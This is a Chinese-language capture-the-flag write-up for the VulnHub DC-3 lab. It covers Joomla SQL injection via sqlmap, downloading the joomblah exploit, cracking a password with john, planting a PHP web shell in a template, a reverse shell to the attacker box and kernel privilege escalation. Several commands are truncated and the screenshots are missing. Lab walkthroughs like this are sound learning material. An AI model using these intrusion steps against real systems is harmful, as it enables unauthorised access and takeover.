kali ip :192.168.20.130

靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/

信息收集

扫描靶机ip以及开放端口


开放了80端口访问一下

Welcome to DC-3.This time, there is only one flag, one entry point and no clues.To get the flag, you'll obviously have to gain root privileges.How you get to be root is up to you - and, obviously, the system.Good luck - and I hope you enjoy this little challenge.  :-)欢迎来到 DC-3。这一次,只有一面旗帜,一个入口,没有任何线索。要获得flag,您显然必须获得 root 权限。如何成为 root 取决于您——当然,也取决于系统。祝你好运 - 我希望你喜欢这个小挑战。 :-)

意思就是需要root权限了

查看Wapplayzer信息如下

使用的Joomla的CMS,使用joomscan(Joomla漏洞扫描器)扫描器扫描

joomscan --url http://192.168.20.129/

后台登录界面已发现

漏洞攻击

使用searchsploit搜索Joomla的漏洞

查看一下42033.txt文件

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

所以可以利用sqlmap进行注入

sqlmap -u "http://192.168.20.129/index.php" />

查看joomladb数据库

sqlmap -u "http://192.168.20.129/index.php" />

有user表,查看#__users的列

sqlmap -u "http://192.168.20.129/index.php" />

查看表name和password的值

sqlmap -u "http://192.168.20.129/index.php" />

得到加密密码

还有一种简单的方法,使用joomblash.py脚本

wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py

直接攻击即可得到加密的密码

使用john爆破密码,我将密文内容放在1文件中

得到密码snoopy,登录到系统

此处发现可以新增页面

写入一句话

木马路径http://192.168.20.129/templates/beez3/shell.php

蚁剑连接

当前权限位www-data

编写反弹shell,监听1234端口,反弹shell至kali,shell内容用的kali自带的位于/usr/share/webshells/php/php-reverse-shell.php并且修改参数

连接成功,写入交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

提权

使用uname -a发现是ubuntu16.04

使用searchsploit发现一个漏洞可以提权

查看txt文件

将压缩包下载下来上传服务器解压运行即可(这里我偷几张图,我没科学上网工具……)